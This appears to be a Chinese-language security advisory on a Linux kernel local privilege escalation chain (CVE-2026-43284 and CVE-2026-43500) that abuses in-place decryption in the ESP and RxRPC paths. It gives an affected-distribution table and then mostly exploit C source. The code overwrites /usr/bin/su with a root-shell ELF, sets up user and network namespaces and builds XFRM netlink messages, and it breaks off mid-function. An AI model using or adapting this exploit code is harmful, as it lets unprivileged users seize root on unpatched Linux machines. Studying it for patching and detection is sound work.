该漏洞利用链被归类为本地权限提升 (LPE)，允许非特权用户在所有现代 Linux 发行版上获得 root 访问权限，影响自 2017 年以来发布的几乎所有内核版本，跨越约九年的版本。该利用通过 esp4、esp6 和 rxrpc 模块的原位解密路径进行操作，通过 splice(2) 和 sendmsg(2) 等标准系统调用破坏内核页缓存，既不需要用户交互，也不需要远程攻击向量。
这两个组成漏洞是：
xfrm-ESP 页缓存写入 - CVE-2026-43284，位于 IPsec ESP 输入路径中。于 2026 年 5 月 7 日合并到 netdev 树，并于 2026 年 5 月 8 日作为 commit f4c50a4034e6（在新标签页中打开）被主线接受。
RxRPC 页缓存写入 - CVE-2026-43500 已预留，位于 AFS RxRPC 验证路径中。在披露时，任何树中均不存在补丁。
| 发行版 | 受影响版本 | CVE-2026-43284 (ESP) | CVE-2026-43500 (RxRPC) | 补丁状态 |
|---|---|---|---|---|
| RHEL | 8, 9, 10 | ✅ 受影响 | ✅ 受影响 | 已修复 |
| AlmaLinux | 8, 9, 10 | ✅ 受影响 | ⚠️ 仅 9 和 10¹ | 已修复 |
| Rocky Linux | 8, 9, 10 | ✅ 受影响 | ✅ 受影响 | 已修复 |
| CentOS | 8 | ✅ 受影响 | ✅ 受影响 | 已修复 |
| CloudLinux | 7 Hybrid, 8, 9, 10 | ✅ 受影响 | ✅ 受影响 | 已修复 |
| Oracle Linux | 受影响 RHCK / UEK | ✅ 受影响 | ✅ 受影响 | 已修复 |
| Ubuntu | 20.04, 22.04, 24.04 | ✅ 受影响 | ✅ 受影响 | 已修复 |
| Debian | Bullseye, Bookworm, Trixie | ✅ 受影响 | ✅ 受影响 | 已修复 (sid 优先) |
| Fedora | 当前版本 | ✅ 受影响 | ✅ 受影响 | 已修复 |
| Arch Linux | 滚动 | ✅ 受影响 | ✅ 受影响 | 已修复 |
| Amazon Linux | 2, 2023 | ✅ 受影响 | ✅ 受影响 | 已修复 |
| Proxmox VE | 当前版本 | ✅ 受影响 | ✅ 受影响 | 已修复 |
受影响：Linux 内核 ≥ 4.14（自 2017 年 1 月起）· 所有主要发行版 · 无远程攻击向量 CVSS 3.1：8.8 高 (CVE-2026-43284) · 披露日期：2026 年 5 月 7 日 · PoC 零日公开 研究人员：Hyunwoo Kim (@v4bel)
#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif
#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] / #define PAYLOAD_LEN 192 / bytes of shell_elf to write (48 triggers) / #define ENTRY_OFFSET 0x78 / shellcode entry inside the new ELF */
/*
setgid(0); setuid(0); setgroups(0, NULL);
execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##VA_ARGS); } while (0)
static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }
static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }
static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }
char buf[4096] = {0};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
nlh->nlmsg_type = XFRM_MSG_NEWSA;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_seq = 1;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));